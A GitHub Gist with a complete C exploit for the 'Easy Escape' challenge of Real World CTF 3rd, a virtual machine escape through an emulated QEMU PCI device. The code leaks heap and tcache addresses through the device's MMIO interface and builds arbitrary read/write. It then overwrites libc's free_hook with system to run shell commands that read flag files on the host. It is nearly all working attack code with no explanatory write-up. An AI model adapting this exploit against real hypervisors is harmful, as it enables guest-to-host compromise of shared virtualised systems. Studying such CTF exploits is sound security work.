Created
January 11, 2021 02:17
-
-
Save d4em0n/c74077d22b9cc09d7904c5023cd747f7 to your computer and use it in GitHub Desktop.
Real World 3rd CTF: Easy Escape
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <fcntl.h> | |
#include <unistd.h> | |
#include <sys/mman.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <stdint.h> | |
#include <assert.h> | |
#include <stdint.h> | |
#define DEV_ADDR 0xfebf1000 | |
#define DEV_SIZE 4096 | |
#define PAGE_SHIFT 12 | |
#define PAGE_SIZE (1 << PAGE_SHIFT) | |
#define PFN_PRESENT (1ull << 63) | |
#define PFN_PFN ((1ull << 55) - 1) | |
unsigned char* buf_map; | |
unsigned char* mmio_mem = NULL; | |
int fd; | |
int fdpage; | |
uint32_t page_offset(uint32_t addr) | |
{ | |
return addr & ((1 << PAGE_SHIFT) - 1); | |
} | |
uint64_t gva_to_gfn(void *addr) | |
{ | |
uint64_t pme, gfn; | |
size_t offset; | |
offset = ((uintptr_t)addr >> 9) & ~7; | |
lseek(fdpage, offset, SEEK_SET); | |
read(fdpage, &pme, 8); | |
if (!(pme & PFN_PRESENT)) | |
return -1; | |
gfn = pme & PFN_PFN; | |
return gfn; | |
} | |
uint64_t gva_to_gpa(void *addr) | |
{ | |
uint64_t gfn = gva_to_gfn(addr); | |
assert(gfn != -1); | |
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr); | |
} | |
void* devmap( size_t offset, size_t size) | |
{ | |
void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_FILE|MAP_SHARED, fd, offset ); | |
if ( result == (void*)(-1) ) { | |
perror( "mmap" ); | |
} | |
return result; | |
} | |
void writeb(unsigned char* mem, int idx, unsigned char val) { | |
mem[idx] = val; | |
} | |
void writew(unsigned char* mem, int idx, unsigned short val) { | |
*((unsigned short*)&mem[idx]) = val; | |
} | |
void writel(unsigned char* mem, int idx, unsigned int val) { | |
*((unsigned int*)&mem[idx]) = val; | |
} | |
void writeq(unsigned char* mem, int idx, unsigned long val) { | |
*((unsigned long*)&mem[idx]) = val; | |
} | |
unsigned char readb(unsigned char* mem, int idx) { | |
return mem[idx]; | |
} | |
unsigned short readw(unsigned char* mem, int idx) { | |
return *((unsigned short*)&mem[idx]); | |
} | |
unsigned int readl(unsigned char* mem, int idx) { | |
return *((unsigned int*)&mem[idx]); | |
} | |
unsigned long readq(unsigned char* mem, int idx) { | |
return *((unsigned long*)&mem[idx]); | |
} | |
void set_size(uint32_t size) { | |
writel(mmio_mem, 0, size); | |
} | |
void set_addr(uint32_t addr) { | |
writel(mmio_mem, 4, addr); | |
} | |
void set_result_addr(uint32_t result_addr) { | |
writel(mmio_mem, 8, result_addr); | |
} | |
void set_idx(uint32_t idx) { | |
writel(mmio_mem, 0xc, idx); | |
} | |
void do_data_write() { | |
writel(mmio_mem, 0x10, 0); | |
} | |
void do_create() { | |
writel(mmio_mem, 0x14, 0); | |
} | |
void do_delete() { | |
writel(mmio_mem, 0x18, 0); | |
} | |
void do_data_read() { | |
readl(mmio_mem, 0x10); | |
} | |
void set_ptr(unsigned long ptr) { | |
int idx = 3; | |
set_idx(idx); | |
writeq(&buf_map[idx*0x400], 8, ptr); | |
do_data_write(); | |
} | |
unsigned long read64(unsigned long addr) { | |
set_ptr(addr); | |
set_idx(0); | |
do_data_read(); | |
return readq(buf_map, 0); | |
} | |
void write64(unsigned long addr, unsigned long value) { | |
set_ptr(addr); | |
set_idx(0); | |
do_data_read(); | |
writeq(buf_map, 0, value); | |
do_data_write(); | |
} | |
int main(void) { | |
char* filename = "/sys/devices/pci0000:00/0000:00:04.0/resource0"; | |
unsigned long heap_leak = 0; | |
unsigned long tcache_base = 0; | |
unsigned long buf0 = 0; | |
uint32_t size; | |
fdpage = open("/proc/self/pagemap", O_RDONLY); | |
if (fd < 0) { | |
perror("open"); | |
exit(1); | |
} | |
int mmio_fd = open(filename, O_RDWR | O_SYNC); | |
if (mmio_fd == -1) | |
perror("mmio_fd open failed"); | |
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); | |
if (mmio_mem == MAP_FAILED) | |
perror("mmap mmio_mem failed"); | |
buf_map = mmap(0, 0x20000, PROT_READ | PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0); | |
writeq(buf_map, 0, 0x4141414141414141); | |
if (buf_map == MAP_FAILED) | |
perror("mmap buf_map failed"); | |
printf("[+] MMAP the device at %p\n", mmio_mem); | |
int max_idx = 0x3; | |
int idx = 1; | |
set_size(0x400*max_idx); | |
set_result_addr(DEV_ADDR+0x18); | |
set_addr((uint32_t)gva_to_gpa(buf_map)); | |
set_idx(idx); | |
do_create(); | |
do_data_read(); | |
tcache_base = readq(&buf_map[idx*0x400], 8); | |
printf("[+] tcache base found %p\n", tcache_base); | |
idx = 1; | |
set_result_addr(buf_map+0x1fc00); | |
set_size(0x400*max_idx); | |
do_create(); | |
set_idx(0); | |
do_data_read(); | |
buf0 = readq(buf_map, 0x0); | |
printf("[+] buf1 leak: %p\n", buf0); | |
max_idx = 0x3; | |
idx = 0; | |
set_size(0x400*max_idx); | |
set_addr((uint32_t)gva_to_gpa(buf_map)); | |
set_idx(idx); | |
set_result_addr(DEV_ADDR+0x18); | |
do_data_read(); | |
heap_leak = readq(&buf_map[idx*0x400], 0x278); | |
// for(int i=0;i<128;i++) { | |
// printf("[%d] = %p\n", i*8,readq(&buf_map[idx*0x400], i*8)); | |
// } | |
printf("[+] req addr leak: %p\n", heap_leak); | |
idx = 1; | |
writeq(&buf_map[idx*0x400], 0, heap_leak); | |
writeq(&buf_map[idx*0x400], 8, tcache_base); | |
max_idx = 0x3; | |
set_size(0x400*max_idx); | |
set_addr((uint32_t)gva_to_gpa(buf_map)); | |
set_idx(idx); | |
set_result_addr(DEV_ADDR+0x18); | |
do_create(); | |
do_data_write(); | |
// printf("next"); | |
// getchar(); | |
// | |
printf("[+] Building arbitrary read write..\n"); | |
max_idx = 0x3; | |
idx = 3; | |
set_size(0x400*max_idx); | |
set_addr((uint32_t)gva_to_gpa(buf_map)); | |
set_idx(idx); | |
set_result_addr(buf_map+0x1fc00); | |
do_create(); | |
do_data_read(); | |
printf("[+] Got arbitrary read write!\n"); | |
unsigned long next_arena = tcache_base-0x40; | |
unsigned long next_arena2, main_arena, libc_base, system_addr, free_hook; | |
next_arena2 = read64(next_arena); | |
printf("next_arena2 = %p\n", next_arena2); | |
main_arena = read64(next_arena2+0x870); | |
printf("main_arena = %p\n", main_arena); | |
libc_base = main_arena-2014080; | |
printf("libc_base = %p\n", libc_base); | |
system_addr = libc_base+349200; | |
printf("system_addr = %p\n", system_addr); | |
free_hook = libc_base+2026280; | |
printf("free_hook = %p\n", free_hook); | |
strcpy(&buf_map[1*0x400], "cat flag*; cat /flag*; cat /home/*/flag*"); | |
set_idx(1); | |
do_data_write(); | |
write64(free_hook, system_addr); | |
printf("Overwriting free_hook with system.. done\n"); | |
printf("Triggerring free\n"); | |
do_delete(); | |
printf("done"); | |
getchar(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment